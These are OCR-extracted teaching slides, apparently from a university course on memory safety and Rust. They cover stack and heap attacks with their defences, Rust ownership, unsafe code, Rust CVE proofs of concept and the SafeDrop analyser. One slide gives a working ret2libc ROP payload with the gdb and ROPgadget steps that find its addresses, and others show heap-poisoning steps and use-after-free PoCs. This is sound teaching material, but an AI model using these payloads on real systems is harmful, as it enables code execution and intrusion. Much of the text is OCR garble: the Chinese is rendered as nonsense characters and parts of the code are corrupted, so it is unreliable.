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PMANTE

+ 8B XREF HENMERARER 8IBF
X BEFTH. KETEN
+FXEFHME: RustiEF7HFAEUE (2019- FE45)
« RFILAE:

> RULF: Rust library fuzzing via APl dependency graph traversal. ASE 2021 (L FiLX)

> SafeDrop: Detecting memory deallocation bugs of rust programs via static data-flow analysis. TOSEM 2022
> OOM-Guard: Towards Improving the Ergonomics of Rust OOM Handling via a Reservation-Based Approach. FSE 2023

> rCanary: Detecting Memory Leaks Across Semi-automated Memory Management Boundary in Rust. TSE 2024

«THRHXE: RustlEFEDHTEE  (https://github.com/Artisan-Lab/RAP)




5RusttH XHIRIZREF

<+ COMP 737011 - Z24RIZFE S T
> T EH/MET R 22T RE % DRI
> AERE0OIARETRustBI TG 574

< COMP 130014 - 4w [HIH
TRV LERLAREZIRIE (K=)
- 5 BB — L RustE = HOEA T I AE IR




A 2HRust
+Rustif S RALII: AFERERERL, EFRER => XEBASE/X2H
> TP “RR” A, ATEmIERD “bug free”
MBS, RBEHLEEHK
> XSTEEC++BY5IF: AN BEIRETFThEE
~ BIFSTHAITIRESFIE, 0.
> ZeM: Safe RusttINFEREMH LR EIRE
> $EiR/ S EAIE: Result/OptionZEE!, unwinding/abort:
F B ARIERR RS LBHES. 2B, trait boundFF
> RS E S if-let/while-let/let-else. iteratorsF
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COMP 737011 RERmIFIBEF Wit

+»B—E5a: AFEZTEEAM BEFEER: HRustYR—EFERILL

> NEERE, Dhcss + REl@ZftAa?

>t EXNE. FARE + RustEAfR?

> BapEl. AEER + RustfE AR FHPR
B : RustiBE RENXAE & LA IVRFISER

> AR, KBRS, HERERH ¢ HEXTAE

> Unsafe Rust & B B

> RustZmi¥a8 L. CargoTH E"‘_ E
+~ B SREMAT

> TBEFHEXTEE . Cc++/Go/zig

> REWEE: BESN, HAKSE Ok

° > M FSER%: Theseus. Asterinas3F IRTEETL: https://github.com/hxuhack/course_safepl



COMP 737011 RE&HRwIZIE S WIT
»IRIERHE:
> 1-16[8, 45730*3751R/H
2R, 1P5IRES
+IRIES
> REZ ] 50%
> KAEL: 50% (FE16ERLERE)
FARMRRE
FE R FE B RRZRA
X




F—iR: AEREEAM — Himt
% vs HE

> 1% R EAERENITE, REBURERIKLRL

> RBOREIFATHE(ER, TRSMENGFEEMBRRSGE
~Hmth R E PP

> W EooREMIHEEIEHIR, IEENEANEERE

»==>Ff1Hl: B¥3E%T. Data Execution Prevention

L

» ====>I{T5: Return-Oriented Programming
> ======>[G1#l: MBI, Canary

> ========>K7: ZIMEERE

» ===========>f{il: Shadow Stack

128TB

oxfffffffrrfffffrff
Kenel Space {
Oxffff800000000000

~16M TB
(48-bi tSLITAR)

0x00007ffFfffffffff

Uer Space
128TB

Program Break =~

0x0000000000000000 L.

EHAE

R

AR A

mmapit

@+ 1

brkif

(A ERE-E/




Z31: ZiahBESERR (RoP)

system_addr system_addr

‘ :> bin/sh_addr :> bin/sh_addr -
3 [B] $tp 3k gadgetitiit P

pop rdi
S~z s >
S R kAT B, ret
AAAAAAAA
pop rax
rsp +— rsp “—> pop rdi
call rax

system addr = Ox7ffff7el18410
binsh_addr = ox7ffff7f7a5aa

libc = ELF('libc.so0.6")
ret _addr = Ox0000000000026b72 - libc.symbols['system'] + system addr

payload = "A" * 88 + p64(ret_addr) + p64(binsh _addr) + p64(system_addr)




FANMUIE R X

Neo

#: gdb target program

(gdb) break *validation

Breakpoint 1 at 0x401150

(gdb) r

Starting program: target program

Breakpoint 1, 0x0000000000401150 in validation ()

(gdb) print system

$1 = {<text variable, no debug info>} Ox7ffff7el8410 < 1libc_system>
(gdb) find ox7ffff7el18410, +2000000, "/bin/sh"

Ox7ffff7f7a5aa

#: ldd target program
linux-vdso.so.1 (0x00007ffff7fcdeoo)
libc.so.6 => /1ib/x86_64-1linux-gnu/libc.so.6 (0x00007ffff7dc3000)

/1ib64/1d-1inux-x86-64.s50.2 (Ox00007ffff7fcf000)

#: ROPgadget --binary /lib/x86 64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
0x00000000000276e€9 : pop rdi ; pop rbp ; ret
OXx0000000000026b72 : pop rdi ; ret

e0x0@@0@@0@@@@e926d : pop rdi ; ret Oxfff3



FiR: AEREEM — HECF
» PALinux AR RN BAGFEHNEE S E

malloc()

User Space Allocator

User Space
Syscall: brk,mmap

kmalloc() vmalloc()

S|

Buddy System (page-based)

Kernel Space

A N N/
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PSS ECEE: dimalloc/ptmalloc/tcmalloc

XA : SHAFEE. BRLEE

prev_size

size | PREV_INUSE

forward pointer

backward pointer

unused space

allocated

trunk

prev_size

size

PREV_INUSE

forward pointer

backward pointer

unused space

prev_size

size

PREV_INUSE

forward pointer

free
trunk

backward pointer

unused space

prev_size

size

PREV_INUSE

forward pointer

backward pointer

unused space




2:32: BHTECAREEE
+ ETABRRSER - RAFT BT

struct chunk{ prev_size

unsigned long prev_size; size PREV INUSE

unsigned long size; forward pointer

struct chunk* fd;

struct chunk* bk; backward pointer

s unused space
7?‘7|-\-i X é:l:

void *p@ = Sbr\k(@); S N R HE LA
brk(p® + MEM SIZE);
chunk* p = (chunk*) po; :
p->size = (unsigned long) MEM_SIZE | PREV_INUSE; prev_size
head = p; size PREV_INUSE
p->bk = NULL;
p->fd = NULL; user data
void *malloc_new(unsigned long n) {...} // F4£LHE 5 R R A

void free new(void *p) {...} // ZFLLHZE5




FBDIR: AFEREEM — IR
<~ MEfH . Use-After-Free. Double Free
<RI IR ERAEREWIHOEEAFHLE

=y

pl header header
1. free(pl) bin \

- _forward ptr » forward ptr

B *p LRI R 2= A s

pl header
2. write(p1) bi \

n » forward ptr » arbitrary addr

W& 1B p1E i forward pointer

3. p2 = malloc() bin » arbitrary addr

FRFRNE R ER R

4. p3 = malloc() p3 —| arbitrary addr

p3f&[E B AR TRl




#33: XSS

gef» heap bins

Tcachebins for thread 1
Tcachebins[idx=0, size=0x20, count=2] « Chunk(addr=0x4052cQ, size=0x20,
Chunk (addr=0x4052a0, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=1, size=0x30, count=2] « Chunk(addr=0x405310, size=0x30,
Chunk (addr=0x4052e0, size=0x30, flags=PREV_INUSE)
Tcachebins[idx=2, size=0x40, count=1] « Chunk(addr=0x405340, size=0x40,
Tcachebins[idx=3, size=0x50, count=2] « Chunk(addr=0x4053d0, size=0x50,
Chunk (addr=0x405380, size=0x50, flags=PREV_INUSE)

Fastbins for arena at ox7ffff7faeb80

flags=PREV_INUSE)
flags=PREV_INUSE)

flags=PREV_INUSE)
flags=PREV_INUSE)

Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00

Unsorted Bin for arena at ox7ffff7faeb80
[+] Found @ chunks in unsorted bin.

Small Bins for arena at @x7ffff7faeb80
[+] Found @ chunks in @ small non-empty bins.

Large Bins for arena at @x7ffff7faeb80
+] Found @ chunks in © large non-empty bins.



EREENFHRILZERH

i

gef» x/50xg 0x405290

0x405290:
0x4052a0:
0x4052b0:
0x4052cO:
0x4052d0:
0x4052e0:
0x40520:
0x405300:
0x405310:
0x405320:
0x405330:
0x405340:
0x405350:
0x405360:
0x405370:
0x405380:
0x405390:
0x4053a0:
0x4053b0:
0x4053cO:

x4053d0o:
4053€0:

0X0000000000000V00
0X0000000000000V00
0X00000000000VV0
0Xx00000000004052a0
0X0000000000000V00
0X000000000000000
0X0000000000000V0
0X00000000000000
0Xx00000000004052e0
0X00000000000VVO0
0X000000000000000
0X0000000000000000
0X000000000000000
0X0000000000000V00
0X00000000000000
0X00000000000V0
0X00000000000V0
0X0000000000000V00
0X0000000000000V00
0X000000000000000
0X0000000000405380
0X0000000000000V00

0X0000000000000021
0X0000000000405010
0X0000000000000021
0X0000000000405010
0X0000000000000031
0X0000000000405010
0X000000000000000
0X0000000000000031
0X0000000000405010
0X00000000000VV0
0X000000000000004 1
0X0000000000405010
0X0000000000000000
0X000000000000000
0X0000000000000051
0X0000000000405010
0X000000000000000
0X0000000000000000
0X000000000000000
0X0000000000000051
0X0000000000405010
0X0000000000000000

prev_size

size

PREV_INUSE

forward pointer

backward pointer

unused space




EMiR: AEREEM — AERER
At . LinuxBRUIAZ&IZHR =S 8] PR 5smB, B MSIGSEGVEE =
~HEFER : Linux Overcommit#/li#l. To small to fail

»FRtE: FEMEIR. setimp/longjmp

R REF

55
BRIERS

P[] E %
SEEH

i P
CPU ) A RIZ P BTITHIRE |- MK




HFER: Overcommit/To Small to Fail
Overcommit¥ R 517 To small to fail3 R 57

void main(void){ for(long i=0; i < INT64 MAX; i++) {
char* p = malloc (LARGE_SIZE); char* p = malloc (SMALL SIZE);
if(p == 0) { if(p == 0){
printf("malloc failed\n"); printf("malloc failed\n", 1i);
} else { break;
memset (p, 1, LARGE_SIZE); 1 else {
} printf("access %ldth chunk", 1i);
} memset (p, @, sizeof (SMALL_SIZE));
}
FTFovercommit, mallociIl, 1BREFEARTS, #ERSkKilliE }

#: sudo sysctl -w

#: sudo sysctl -w vm.overcommit memory=1
#:~/4-memoxhaustion$ ./a.out

access ElNElPPAd) chunk, ...

Killed

#:~/4-memoxhaustion$ ./a.out
Killed

% Flovercommit, mallocsk g

#: sudo sysctl -w

#:~/4-memoxhaustion$ ./a.out
may]lloc failed

#: sudo sysctl -w vm.overcommit memory=2
#:~/4-memoxhaustion$ ./a.out

access pyliEyviady) chunk, ...

malloc failed

21




#.3]4:
1) XTELinux%#rWindows. Mac OSFR{ER G EFER T RIFRIT
2) BEHRENRE, BRERLRE, EEFREET

> ref: https://man7.org/linux/man-pages/man2/sigaltstack.2.html

void sethandler(void (*handler)(int, siginfo t *, void *)) {...}
void handler(int signal, siginfo t *info, void *extra) {
V-2 3o
}
void main(void){
sethandler(handler);
struct List* list = malloc(sizeof(struct List));
list->val = 1;
list->next = list;
if (setjmp(buf) == 0)
traverse(list);//Z/HEMH, #mt
else
printf("Continue after segmentation fault\n");
}




FHIR: AGFREEM — BEIEYY
“YRIFERE: ETFHERREF + Cleanup B M0 ER M
<~ B 8EIEET: unique_ptr. shared ptr. weak_ ptr
~BIREIY: MEEERE. AR SR EWEE

unique ptr<MyClass> upl(new MyClass(2));
//unique_ptr<MyClass> up2 = upl; //H/EFRE
unique ptr<MyClass> up2 = move(upl);

//cout << upl->val << endl; //segmentation fault

shared ptr<MyClass> spl(new MyClass(2));
shared _ptr<MyClass> sp2 = pl;

obj

rc=1 rc=1

RIEX

EFX (from)
EFX (to)

KEHERX




ETERANFELEBMNERNEIYW S E
< YmIF RSB ITIDWARFIE I id FCallee-saved FF X _ FRIAL E
~RBRBAAEERIRE

python3 pyelftools-master/scripts/readelf.py --debug-dump frames-interp /bin/cat

2690: endbr64 LOC CFA rbx rbp r12 ri3 ri4 ri5 ra
2694: push  %ril5s 00002690 rsp+8 u u u u u u c-8
2696: mov %rsi,%rax 00002696 rsp+l6 u u u u u c-16 c-8
2699: push  %ril4 0000269b rsp+24 U u u u c-24 c-16 <c-8
269b: push  %ri3 0000269d rsp+32 U u u c-32 c-24 c-16 c-8
269d: push  %ril2 0000269f rsp+40 u u c-40 c-32 c-24 c-16 -8
269f: push  %rbp 00002620 rsp+48 u c-48 c-40 <cc-32 <cc-24 cc-16 cc-8
26a0: push  %rbx 000026al rsp+56 c-56 c-48 c-40 c-32 cc-24 c-16 c-8
26al: lea Ox4f94 (%rip),%rbx 000026af rsp+384 c-56 c-48 cc-40 cc-32 c-24 c-16 -8
26a8: sub $0x148,%rsp 000027eb rsp+392 «c-56 c-48 c-40 c-32 cc-24 c-16 c-8
26af: mov %edi,ox2c(%rsp) 000027fd rsp+400 cc-56 c-48 cc-40 cc-32 c-24 c-16 -8
26b3: mov (%rax),%srdi 00002825 rsp+384 «c-56 «c-48 cc-40 c-32 c-24 c-16 <c-8
00002e96 rsp+56 c-56 c-48 «c-40 cc-32 cc-24 cc-16 <cc-8




25 >]5:
1) {ERC++E8EI$H493EH use after freeifmARYKTE

2) ACEH—EHMMEEIESTAPI
> ref: https://github.com/Snaipe/libcsptr (FFRINE)

3) ACEI—I1EHHIGC
> ref: https://maplant.com/2020-04-25-Writing-a-Simple-Garbage-Collector-in-C.html

struct log file *open_log(const char *path) {
smart struct log file *log = shared ptr(struct log file, {0}, close log);
log->fd = open(path, O WRONLY | O APPEND | O CREAT, 0644);
if (log->fd == -1)
return NULL
return sref(log);




FARR: AFEREENM — HERE
+RIERZOB: TFFH
’1‘@%151{?\ Volatile. Pilﬁﬁl‘ﬁx %)'Ji\ %14:'7)0

(|
HAI

APIs: Mutex Lock, R/W Lock, Arc...
> BT CE T e

. memory barrier
atomic : : condvar
(volatile, ordering)
# based on rax

lock cmpxchg, add, ... Ifence/sfence/mfence

src; ZERO FLAG
dst; ZERO_FLAG

e
lock cmpxchg dst src if(dst == eax) { dst
else { eax

(O R

oo

oo

—




%% >]6:
1) BEFHRECKEMSEI—ANE /K81 / R i

> ref API: https://en.cppreference.com/w/c/atomic/atomic_compare_exchange

2) SCIthread-safely & BEFEET




FELEiR: Rustif 5 — FFENHLF
BN + ERKE => E—FZ5|H (XOR Mutability) J&EN] => & 5 UAF/DFERPE

fn main(){
let mut alice = 1;
let bob = &mut alice; ‘
orintln!("alice:{}", alice); [~ IFME—RAZE5|H
println! ("bob:{}", bob);

) X
< RAIl + Lifetime => BEI#T#8 + £ EAHAYR > BREAGFHRE + BRBEARAERSE

fn longer<'a:'b, 'b>(x:&'a String, y:&'b String) -> &'b String{
if x.len()>y.len(){
X
} else {

y

y X




J9 24 XOR Mutability 7] LU {82 4w 1B 43 47

< 3l %% 43 #r =NP-Hard
@

Hamiltonian Path Problem

£

MEBIRR : WHamiltonianig 1R o] R

v4 = &v5

v2 = &Vv4
:> v3 = &v4 ¥k*¥*xyl=v5"?

v2 = &v3
vl = &v2

Flow-insensitive May-Alias Analysis

< XOR MutabilityR] LU S8 HamiltonianiE R 0)fE : TR IBEZH AT

let mut a = 1;
let mut pl = &a;

let p2 = &a;
let mut g1 = &mut pl;
let g2 = &p2;

@ @ O mutable variable

e O immutable variable

@ @ — immutable borrow

— mutable borrow

@ [Horwitz'97] Susan Horwitz, Precise Flow-Insensitive May-Alias Analysis is NP-Hard, 1997



—

XOR MutabilityB J PR 1% => Unsafe Code — - —
’1*Efﬁ'é'%%% A "‘wsgglﬁﬁ y tt!lﬂﬂ['ﬂ‘ﬁii prev prev <«—— prev

struct Node { // B XE1:Ege455t struct Node { // B ZE2:18354%t
val: ué4, val: u64,
prev: Option<Weak<RefCell<List>>>, next: *mut List,
next: Option<Weak<RefCell<List>>>, prev: *mut List,

} }

Five Types of Unsafe Code in Rustdoc
Application Scenarios

Raw Ptr Unsafe Fn Unsafe Trait Static Mut Union
Low-level control v v
Interoperability v v

Non-exclusive Mutability v v
Delayed Initialization v v
Transmute v
Unchecked Operations v v

Tailored Allocator v

Concurrent Objects v

Q Global Objects v




Interior Unsafe

< ¥Funsafe{XHLE % Jgsafe APIs
< B2 5 B3 Funsafe code

impl<T> Vec<T> { Project Code
//safe API encapsulation s call v
pub fn push(&mut self, value: T) { safe APl safe AP|

if self.len == self.buf.capacity() { * *

self.buf.reserve_for_push(self.len);
} Library Code

let end = self.as _mut _ptr().add(self.len);
ptr::write(end, value);
self.len += 1;

Rust std-libFrVecY Bk 53 e B KBS #4531




%37

1) {&Fsafe Rust8{unsafe RustSE I — W E) &R
> AN MER. EThEE
> MTEE PR A B M BE

2) {# M safe RustE{unsafe RustSt i H
> ZXNHEW

ot
i
i
1y
=




F/\IR: Rustif 5 — LB RS

wRARKER, SEAB (Tuple/EafE) « HFEHA (Option/Result)  REKR
< Traits: Copy. Drop. Clone. Pin/Unpin

IR (Trait + Lifetime) HI;ZEIRTE

455 IEAY: PhantomData, Zero Sized Type

» F B

pub enum Option<T> {
None,

Some(T), =538 . Option —
}

— SEFREMEE IR TE
pub enum Result<T, E> { Monad

(E)Eﬁzéi, LAY Result —




Drop Trait

struct Foo;

dropping Bar
struct Bar { one: Foo, two: Foo, }

dropping Foo
dropping Foo

impl Drop for Foo {
fn drop(&mut self) { println!("Dropping Foo!"); }

}

impl Drop for Bar { DropHI{E FA FAJi
fn drop(&mut self) { println!("Dropping Bar!"); } }

}

fn main() { let _x = Bar { one: Foo, two: Foo }; }

unsafe impl<#[may dangle] T, A: Allocator> Drop for Vec<T, A> {
fn drop(&mut self) {
unsafe {

ptr::drop _in_place(ptr::slice from raw_parts mut(self.as mut ptr(), self.len))

}
}

e B SCDrop32 I E 4l




T RAZERIE

struct Rectangle { width: u32, height: u32, }
impl PartialEq for Rectangle { ... }
impl PartialOrd for Rectangle { ... }

fn larger<'a, T: PartialOrd>(x: &'a T, y: &'a T) -> &'a T {
if x >y {
return Xx;

}

return y;

}

let rectl = Rectangle { width: 10, height: 5 };
let rect2 = Rectangle { width: 8, height: 8 };
assert!(larger(&rectl, &rect2), &rect2);




FAREFHIE
<~ Rust EHHY “%?Sﬁ'-_” -

lifetime. dynamic trait (ANgEupcast) . ER#AH

- LiskovEF BRI : BERKEIRT, EAFEEMRIREM
3 MRZ2AFRE, NTHL-ETa2>pFHRE, RZMWAEE (BH)

> Ebaniz2 ETEVFRER, NM[i32] 2 [TI8YFEE

trait B : A{

}
struct S { s:i32 }

struct T { t:i32 }
impl A for S { }
impl B for T { }

fn makeacall(dyna: &dyn A){
dyna.a();

}

fn longer<'a, T>(a:&'a [T], b:&'a [T]) -> &'a [T]{

}
let mut a: [i32; 5] = [1, 2, 3, 4, 5];
let mut b: [i32; 6] = [0; 6];
longer(&a,&b);
data dyn trait object vtable implementation
data
vptr 3 »  T::a()
b > T::b()




4 9=

572K AY: PhantomData
< PhantomData: ZH{EAEE, AERFIBENBREEEE G EABPARIFEN

struct Iter<'a, T: '"a> {
ptr: *const T,
end: *const T, 4 45 E B %R
_marker: marker::PhantomData<&'a T>,

struct Vec<T> {
data: *const T, // *const for variance!
len: usize,
cap: usize,
_owns_T: marker::PhantomData<T>,

FRrEWN48E (Bxhdrop)

e https://doc.rust-lang.org/nomicon/phantom-data.html



%.3]8:
I RETRGIN RN @5
> EH 2R
> X HFEQFNOrd Trait
> SEHiterator: S ¥Fcollect()FAmap()




EMIR: RustiF 5 — FHEHF
wIRERE
~ HIZE BRI E

https://doc.rust-lang.org/stable/std/sync/index.html

e Arc: Atomically Reference-Counted pointer, which can be used in multithreaded environments to prolong the lifetime of some
data until all the threads have finished using it.

e Barrier:Ensures multiple threads will wait for each other to reach a point in the program, before continuing execution all
together.

e Condvar: Condition Variable, providing the ability to block a thread while waiting for an event to occur.

e mpsc: Multi-producer, single-consumer queues, used for message-based communication. Can provide a lightweight inter-
thread synchronisation mechanism, at the cost of some extra memory.

e Mutex: Mutual Exclusion mechanism, which ensures that at most one thread at a time is able to access some data.

e Once: Used for a thread-safe, one-time global initialization routine

e Oncelock: Used for thread-safe, one-time initialization of a variable, with potentially different initializers based on the caller.

e Lazylock: Used for thread-safe, one-time initialization of a variable, using one nullary initializer function provided at
creation.

e RwLock: Provides a mutual exclusion mechanism which allows multiple readers at the same time, while allowing only one
writer at a time. In some cases, this can be more efficient than a mutex.




%IELE: Send

Thread 1 Thread 2 let ml:l't X = Box::new(1l);
let tid = thread::spawn(move|| {
move *x = 10;
owner > println!("spawn: x = {}", Xx);
})s
) tid.join().unwrap();
Heap \” EZIZEEBTEN
object
let mut x = Rc::new(Box::new(1l));
let tid = thread::spawn(move|| {
*rkx = 10;
impl<T> !Send for Rc<T>; println!("spawn: x = {}", X);
})s
unsate impl<T:Send> Send for Box<T>; tid.join().unwrap(); x

ReNREEEHS: AftA?




ZKIEZSE: Sync

Thread 1 Thread 2
mut ref ref
Heap  {lock')
: object :
let mut x = Arc::new(Mutex: :new(Box::new(1)));
let mut y = x.clone();
let tid = thread::spawn(move|| {
**y.lock().unwrap() =
println!("spawn: y = {:?}", y);
})s
tid.join().unwrap(),
println!("spawn: x = {: p}", X);

kiziE) Xt

let mut x = Box::new(1);
let y = &mut x;
let tid = thread: :spawn(move|| {
**y = 10;
println! ("spawn: y = {}", y);
1)

tid.join().unwrap();
println!("main: x= {}", x);

X

ATF&IEEAEEIETESIH

o ArciRIEFE&IZIH ORI ERM E2%iEdrop

Mutexi# E HIEZF
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> DAt LAREKIERER




E1+iR: RustiBE — RIRMES
<~ RANKIBI{ER : UnsafefXiBA] BE S & Use-After-FreeFlDouble Free

< Unsound APl: EREBETH RN, KBARATEY . EFHRTL MO
«PLDI. TOSEMi£3C

Consequence Total
Culprit Buf. Over-R/W | Use-After-Free | Double Free | Uninit Mem | Other UB

Auto Memory | Bad Drop at Normal Block 0+0+0 1+9+6 0+2+1 0+2+0 0+1+0 22
Reclaim Bad Drop at Cleanup Block 0+0+0 0+0+0 1+7+0 0+5+0 0+0+0 13
Unsound Bad Func. Signature 0+2+0 1+5+2 0+0+0 0+0+0 1+2+4 17
Function Unsoundness by FFI 0+2+0 5+1+0 0+0+0 0+0+0 1+2+1 12
Unsound Insuff. Bound of Generic 0+0+1 0+33+2 0+0+0 0+0+0 0+0+0 36
Generic Generic Vul. to Spec. Type 3+0+1 1+0+0 0+0+0 1+0+1 1+2+0 10
or Trait Unsound Trait 1+2+1 0+0+0 0+0+0 0+0+0 0+2+0 6
Arithmetic Overflow 3+1+0 1+0+0 0+0+0 0+0+0 0+0+0 5

Other Boundary Check 1+9+0 1+0+0 0+0+0 0+0+0 1+0+0 12
Errors No Spec. Case Handling 2+2+1 0+0+0 0+0+0 0+0+0 2+1+1 9
Exception Handling Issue 0+0+0 0+0+0 0+0+0 0+0+0 1+2+1 4

Wrong API/Args Usage 0+3+0 1+4+0 0+0+0 0+1+1 0+5+2 17

Other Logical Errors 0+4+1 2+3+4 0+0+1 0+1+0 1+4+1 22

Total 40 82 12 12 39 185

[PLDI'20] "Understanding memory and thread safety practices and issues in real-world Rust programs."
[TOSEM] " Memory-safety challenge considered solved? An in-depth study with all Rust CVEs."




Z4Hl1: RANVENME

fn genvec()->Vec<u8>{

PoC of CVE-2019-16140, CVE-2019-16144

let mut s = String::from("a tmp string"); -« tiEEETEs
//let mut s = ManuallyDrop::new(String::from("a tmp string"));
let ptr = s.as_mut_ptr();
unsafe {
let v = Vec::from raw parts(ptr,s.len(),s.len()); < S iEvig[E s
//panic!();
//mem: :forget(s);
V < J‘E(.@V
}
b Hritls; v RABT IS
fn main(){
let v = genvec(); //v is dangling use-after-free
assert _eq!('a' as u8, v[0]);
}



=H2: RERTSUEZ O

use std::slice;

fn foo<T>(a: &mut [T]){ -
// require 4-byte alignment

let p = a.as_mut_ptr() as *mut u32; -
unsafe {
let s = slice::from_raw _parts mut(p, 1);
let x = p[@];

}
}
fn main(){
let mut x = [Ou8;10];
foo(&mut x[1..9]); <«
}

PoC of advanced CVE-2021-45709

ZESH

323X 5F

B ATIAUS]



3. EFHREME)M

trait MyTrait {
fn type id(&self) -> Typeld where Self: 'static {
Typeld::of::<Self>() -«

}

}

impl dyn MyTrait {
pub fn is<T: MyTrait + 'static>(&self) -> bool {/*...*/}
pub fn downcast<T: MyTrait + 'static>(self: Box<Self>)

-> Result<Box<T>, Box<dyn MyTrait>> {/*...*/}

}

impl MyTrait for ul28{}

impl MyTrait for u8{

fn type id(&self) -> Typeld where Self: 'static { <
Typeld: :of::<ul28>()//#ix: FEXAEIZ[Eu128
}
}

fn main(){

let r = MyTrait::downcast::<ul28>(s); =

let s = Box::new(10u8);

Simplified PoC of CVE-2019-12083

1R B £5 R LAY

HixE#type_id()

A E])



%:.3]10:
< 43 #TRust CVEs

> https://rustsec.org/advisories/

> https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rust

) RUSTSEC

The Rust Security Advisory Database

About  Advisories Report Vulnerabilities

July 26, 2024
iINFo RUSTSEC-2024-0360: Unso

can trigger UB

July 25, 2024
INFO

The kstring integration in gix-attributes is unsound

July 23, 2024

Apache Arrow Rust Object Store: AWS WebldentityToken exposure in log files




F1+—1R: RustiZEE — miFEaT
o R EEHIHT Z MRustHL BB SE R /7 5%

o T BRRustmiIF eSS AR, bbo:

1 = const std::boxed::Box::<i32>::new(const 1 i32)
-> [return: bb2, unwind: bbl];

Source bbl (cleanup):
Code resume;

\/l/' bb2:
2 = & 1;

Parse ASU @ = const ();

T drop(_1) -> [return: bb3, unwind: bbl];
+ bb3:

Lower to e return;

\ 4

y
=
X

; R v 4 A B HAHE T
Lower to » MIR \/1%%1@@

LLVM
IR

LLVM Binary
@ https://rust-lang.github.io/rfcs/1211-mir.html backend Code

K55 ‘unsafe’

\ 4

Lower to




4 dn FE HAHERT : BT ARK AR
< LivenessZJ5R : (L: {P}) @ P F& 7K=L is alive at the point P
< SubtypingZJ3 : (L1:L2) @ P 327~L1 outlives L2 at point P

BB1 let mut a: i32 = 1;

let mut b: i32 = 2;

let mut p: & T = &; ('a: 'pa) @ BB1/3

if condition Def: ('pa: {BB1/3}) @ BB1/3
BB2 h
print(*p); Use: ('pa: {BB2/0}) @ BB2/©
p = &b; ('b: 'pb) @ BB2/2

| Def: ('pb: {BB2/2}) @ BB2/2

BB3 print(*p); Use: (phi('pa,'pb): {BB3/0}) @ BB3/0

'‘pa = {BB1/3, BB2/0, BB3/0}
Rk > 2 F {BB1/1, BB1/2, BB1/3, BB2/@, BB3/0}

pb = {BB2/2, BB3/0}
@ 'b = {BB1/2, BB1/3, BB2/0, BB2/1, BB2/2, BB3/0}
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1)

2)

48 E— R BLE S HIRGEEMIRS #r o) 5 & [E
JIRustdwIEES AN E S Query

1. Declare the query name, its arguments and description in the
compiler/rustc_middle/src/query/mod.rs.

rustc_queries! {
query new_query(_: DefId) -> () {
desc { "a new query with novel features" }

}

2. Supply query providers where needed in compiler/rustc_mir_transform/src/lib.rs.

pub fn provide(providers: &mut Providers) {
xproviders = Providers {
new_query,

. .xproviders
}s
}
fn new_query<'tcx>(tcx: TyCtxt<'tcx>, def_id: DefId) -> () {
...//implementation
}

https://artisan-lab.github.io/RAP-Book/3.2-backend.html



F+=i8: RustiBE — Cargo
KB EHE: FETcrates.io/RustSec zerovec-derive

0.9.4
ey . Incorrect usage of “#[repr(packed)]"
> HENERE cargo audit 2024-07-01
RUSTSEC-2024-0346
o NP . . https://rustsec.org/advisories/RUSTSEC-2024-0346
% Eﬁ]ﬂ:ﬂ“ﬁt test/bench targets Upgrade to >=0.10.3 OR >=0.9.7, <0.10.0
> CI/CD: cargo test/fuzz Eovec-derigegﬂfﬂ
zerovec 0.9.
. .« o —_— NS — tinystr 0.7.1
X Cllppy\ MII‘I%%?&UJHE — unic-langid-macros 0.9.1

|
| | L— unic-langid 0.9.1

| | — rustc_fluent _macro 0.1.0

| | — rustc_ty utils 0.0.0

| | — rustc_interface 0.0.0
|
|
|

» cargo miri

| F—— rustc_smir 0.0.0
| | L— rustc-main 0.0.0
| L— rustc_driver_impl 0.0.0

Crate:
Version:
Warning:

Crate: zerovec
Version: 0.9.4
Warning: yanked

Crate: zerovec-derive
Version: 0.9.4
Warning: yanked

9 vulnerabilities found!
warning: 8 allowed warnings found




%312

1) SHr— 3EPRCargolii B, fRiEInH44
2) BEE— Cargolil B

3) MZcCargoLAH .

terminal cargo cargo-rap rap rustc

command: cargo rap —> dispatch to cargo-rap ——> RUSTC_WRAPPER: cargo-rap

!

command: cargo-rap rustc
<—— command: cargo check

compilation_options

command: rap RAP_ARGS ——> register callbacks

l

start rustc ——> compile

execute callbacks J

e https://artisan-lab.github.io/RAP-Book/3.1-frontend.html



FT=R: SRERE — NEREBSHFIEXTEE

[: 32 Contract Compile-time Exe
%flefati% Option/Result Optional errWriter Option Type
1) 4k Trait Bound
??Si_f]?ﬁ Concept Type Constraint

Lifetime Bound

HE Send/Sync Std Lib Goroutines
Biast Unsafe Unsafe NonNull
Ownership
Ty
HEAGFERE Intelligent Pointer GC Allocator over Std

Intelligent Pointer

e Rust C++20 Go Zig
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« F—I TESHNREFEMMERE
> JavafGC, 28!, EERALBEETF
> PythonB % 2kF2. EEefast. IS RF
> %FEEJavascript vs Typescriptifi 2 £ M E R




F+MR: SHRET — SO
»FRSTHTER : Lattice-based97#r\ path-sensitives3#. ...

< SafeDropit 3L Sbo

bb2:
bb3:
bb5:

bb6:

bb7:

bb8:

bb9:

1 = const <std::string::String as std::convert::From<&str>> bbl: | resume;
::from(const "a tmp string") -> bb2; Y
v
5 = &mut _1; bb4:
. . drop(_1)
_4 = const <std::string::String as std::ops::DerefMut>::deref_mut(move _5)
. -> bbil;
-> [return: bb3, unwind: bb4]; 3
v i
3 = &mut (*_4); |
2 = const core::str::<impl str>::as_mut_ptr(move _3) :
-> [return: bb5, unwind: bb4]; |
¥ I
_6=_2; | drop(_0) |
8 = & 1; L""T ----- !
_7 = const std::string::String::len(move _8) -> [return: bb6, unwind: bb4]; !
L :
10 = & 1; !
9 = const std::string::String::len(move _10) -> [return: bb7, unwind: bb4]; :
! |
0@ = const std::vec::Vec::<u8>::from_raw_parts(move _6, move _7, move _9) Bacierpcﬁ |
-> [return: bb8, unwind: bb4]; exception !
_____________________________________ ... handling !
1

i Real-world programs could have more code here, and it may panic the program.

_____________________________________ oo

________________

drop(_1) -> bb9;//calling mem::forget(s) can remove this drop instruction.

Bad drop of normal
execution

v

return;




SafeDrop 3 #r /33%

- §'vi:";:tlAJ§ ............................ Variant: A .
Lj} - e O T @
@ f\ pxmam—s
L o = — 0 =Y
‘@ 9 0 o ° + Strogggpi:zzfscted —®
I . ©
=R E 4 B
T B3 4L A s
2. {55t Statement 1: _2 = &_1; // alias set:{_1, _2}
